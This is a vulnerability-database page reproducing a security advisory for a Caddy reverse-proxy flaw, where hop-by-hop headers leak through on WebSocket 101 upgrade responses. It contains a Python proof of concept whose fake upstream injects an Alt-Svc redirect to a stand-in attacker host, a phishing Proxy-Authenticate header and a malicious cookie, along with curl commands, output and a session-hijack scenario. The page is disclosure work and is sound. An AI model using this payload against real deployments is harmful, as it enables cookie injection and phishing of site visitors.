KEVWire

Security intelligence, with context.

Response snapshot Oct 28, 2026, 20:06 UTC

Back to the wire
Permalink
VulnerabilityCVE-2026-55458

Caddy has an RFC 7230 §6.1 compliance issue / Hop-by-hop headers that leak through

This vulnerability was discovered via deepseek-v4-pro[1m] for finding potential vulnerabilities / inconsistencies in the code base. I made the AI check if Caddy is compliant with various RFCs, incl. 7230.

At a glance

Exploited
Not known
Severity
2.9 Low (CVSS 4.0)
Chance of exploitation
Not estimated
Sources
1 source

What to do

GitHub lists first patched versions: github.com/caddyserver/caddy/v2: 2.11.5. Confirm the affected range and upgrade guidance in the exact advisory.

Read GitHub-reviewed advisory GHSA-8qx7-j2v2-x6q5 (opens a new tab)

What happened

AI Disclosure

This vulnerability was discovered via deepseek-v4-pro[1m] for finding potential vulnerabilities / inconsistencies in the code base. I made the AI check if Caddy is compliant with various RFCs, incl. 7230. I also used it to help write the PoC, since it was honestly much faster than writing it by hand. I also let it write parts of this advisory text for brevity's sake, but had to rewrite half of it by hand.

Summary

Caddy's reverse proxy fails to strip RFC 7230 hop-by-hop headers from upstream responses when handling WebSocket upgrades (HTTP 101 Switching Protocols). Headers including Alt-Svc, Keep-Alive, Proxy-Authenticate, Transfer-Encoding, or Trailer, which Caddy actually correctly strips for normal HTTP responses, pass through unfiltered to the client during protocol upgrades.

Continue reading

An upstream that sets these headers (intentionally or otherwise) can inject them into client responses, enabling connection hijacking via Alt-Svc, cookie injection via Set-Cookie, and proxy authentication phishing.

The normal response path in finalizeResponse correctly strips all hop-by-hop headers before forwarding, but the 101 code path returns early, skipping the stripping entirely.

Details

In modules/caddyhttp/reverseproxy/reverseproxy.go, the finalizeResponse method (line 1178) handles upstream responses. For all normal responses, it strips hop-by-hop headers before copying to the client:

// reverseproxy.go:1194-1198
removeConnectionHeaders(res.Header)
for _, h := range hopHeaders {
 res.Header.Del(h)
}

However, the 101 Switching Protocols check at line 1187 returns before this stripping code:

// reverseproxy.go:1186-1192
if res.StatusCode == http.StatusSwitchingProtocols {
 var wg sync.WaitGroup
 h.handleUpgradeResponse(logger, &wg, rw, req, res)
 wg.Wait()
 return nil // headers stripped
Upgrade (101): `handleUpgradeResponse()` runs, returns early -> headers are NOT stripped

This is the only response code path in the reverse proxy that bypasses hop-by-hop header stripping.

### PoC

Caddy config:

:8080 { reverse_proxy localhost:8083 }


Script:

python import socket

UPSTREAM = ( b"HTTP/1.1 101 Switching Protocols\r\n" b"Upgrade: websocket\r\n" b"Connection: Upgrade\r\n" b"Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=\r\n" b"Alt-Svc: h2=\"attacker.example.com:443\"; ma=86400\r\n" b"Keep-Alive: timeout=999\r\n" b"Proxy-Authenticate: Basic realm=\"phish\"\r\n" b"Set-Cookie: injected=malicious; Path=/\r\n" b"\r\n" )

s = socket.socket() s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) s.bind(("0.0.0.0", 8083)) s.listen(1) conn, _ = s.accept() conn.send(UPSTREAM)


Curl:

bash curl -v \ -H "Upgrade: websocket" \ -H "Connection: Upgrade" \ -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \ -H "Sec-WebSocket-Version: 13" \ http://localhost:8080/ws 2>&1


Output:

< HTTP/1.1 101 Switching Protocols < Alt-Svc: h2="attacker.example.com:443"; ma=86400 < Connection: Upgrade < Keep-Alive: timeout=999 < Proxy-Authenticate: Basic realm="phish" < Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo= < Server: Caddy < Set-Cookie: injected=malicious; Path=/ < Upgrade: websocket


`Alt-Svc`, `Keep-Alive`, and `Proxy-Authenticate` are hop-by-hop headers that MUST NOT be retransmitted by proxies per RFC 7230 §6.1. They all appear in the response.

Same upstream, same headers but on a 200 response. 
Caddy strips `Alt-Svc` correctly:

bash curl -v http://localhost:8080/

Alt-Svc is absent


### Impact
This is a hop-by-hop header leakage vuln (I think CWE-444 fits closest?). The proxy fails to enforce the RFC 7230 §6.1 requirement that hop-by-hop headers must not be forwarded across proxy boundaries.

Any Caddy deployment that proxies WebSocket connections, especially those using HTTP/2 or HTTP/3 (where the 101-to-200 conversion makes headers fully processable by browsers) has this issue. 

How an attack might look:
A company serves app.example.com behind Caddy, with HTTP/2 enabled. The app uses WebSockets for real-time notifications (i.e. every page load opens one). The upstream app gets compromised (unpatched CMS plugin, leaked CI credential, dependency confusion). The attacker adds one line to the WebSocket handler: Set-Cookie: session=hijack; Path=/. 

Now every visitor to app.example.com gets the attacker's session cookie written into their browser. The app uses the session cookie as the sole authentication token. When a user reloads the page or navigates to another part of the app, their browser sends session=hijack along with the request. The attacker submits the same value from their own browser. They get logged in as that user.

Caddy strips this header on normal HTTP responses. It strips hop-by-hop headers on the request side, basically everywhere except this path. 

### Suggested Fix
I'll add my fix to the branch in this security advisory.

### Contact Details
If you find this find worth your time you can contact me under d.ramadani@ieee.org or +43 (677) 63 397 910. In case this is something that will go public I'd be happy to be mentioned under my real name, Dionis Ramadani. 

Thank you for taking the time, I hope this is something interesting for you.

Affected package ranges reported by GitHub:
github.com/caddyserver/caddy/v2: <= 2.11.4

Scores and how they were measured

CVSS base severity

2.9

Version 4.0As of

CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P

Measurement source (opens a new tab)

How bad it is if exploited. Not a prediction of exploitation or proof you are exposed.

EPSS probability

Not available

A model's estimate of exploitation in the next 30 days, not certainty or your own risk.

Related technology

Sources

  1. Primary source

    GitHub-reviewed advisory GHSA-8qx7-j2v2-x6q5 (opens a new tab)

    The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review.

    Published Checked

  2. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-8qx7-j2v2-x6q5, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

Cite this record

For factual claims, cite the primary sources above; cite KEVWire for its compilation, dates, and classifications.

APA

KEVWire. (2026, October 28). Caddy has an RFC 7230 §6.1 compliance issue / Hop-by-hop headers that leak through (CVE-2026-55458). https://kevwire.com/record/CVE-2026-55458

MLA

"Caddy has an RFC 7230 §6.1 compliance issue / Hop-by-hop headers that leak through (CVE-2026-55458)." KEVWire, 28 Oct. 2026, kevwire.com/record/CVE-2026-55458.

Chicago

KEVWire. "Caddy has an RFC 7230 §6.1 compliance issue / Hop-by-hop headers that leak through (CVE-2026-55458)." Last modified October 28, 2026. https://kevwire.com/record/CVE-2026-55458.

Evidence summary (plain text)

Caddy has an RFC 7230 §6.1 compliance issue / Hop-by-hop headers that leak through (Oct 28, 2026).
This vulnerability was discovered via deepseek-v4-pro[1m] for finding potential vulnerabilities / inconsistencies in the code base. I made the AI check if Caddy is compliant with various RFCs, incl. 7230. I also used it to help write the PoC, since it was honestly much faster than writing it by hand. I also let it write parts of this advisory text for brevity's sake, but had to rewrite half of it by hand.

Caddy's reverse proxy fails to strip RFC 7230 hop-by-hop headers from upstream responses when handling WebSocket upgrades (HTTP 101 Switching Protocols).
CVSS 2.9 (version 4.0; evidence as of Oct 28, 2026; https://github.com/advisories/GHSA-8qx7-j2v2-x6q5).
Sources:
GitHub-reviewed advisory GHSA-8qx7-j2v2-x6q5: https://github.com/advisories/GHSA-8qx7-j2v2-x6q5
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
Record ID: CVE-2026-55458.
Record origin: Ingested record.
AI evidence: Not assessed.
Known exploitation: Not assessed.
Zero-day status: Not assessed. KEV membership alone does not establish zero-day status.
About this data

This record was ingested from a data source. Retrieved: Oct 28, 2026, 19:50 UTC. Ingestion is not an independent editorial investigation.

A CISA KEV listing documents known exploitation, not necessarily a zero-day; absence from the catalog does not prove a vulnerability has never been exploited.

Technology tags indicate possible relevance, not verified exposure. Confirm the affected product, version, and configuration against your own inventory; KEVWire does not scan your systems.

A personal reading checklist on this device, not verified remediation.

Record JSON

Your account

Email alerts

Email alerts are coming as part of KEVWire Premium: join the waitlist. To follow your stack today, use its RSS feed, which honors your filters, or connect an AI agent through the API.

Suggest an improvement

Ideas, missing sources, corrections, and bugs are all welcome. No account needed. Suggestions are reviewed by a person before anything changes.

Record details

Record detail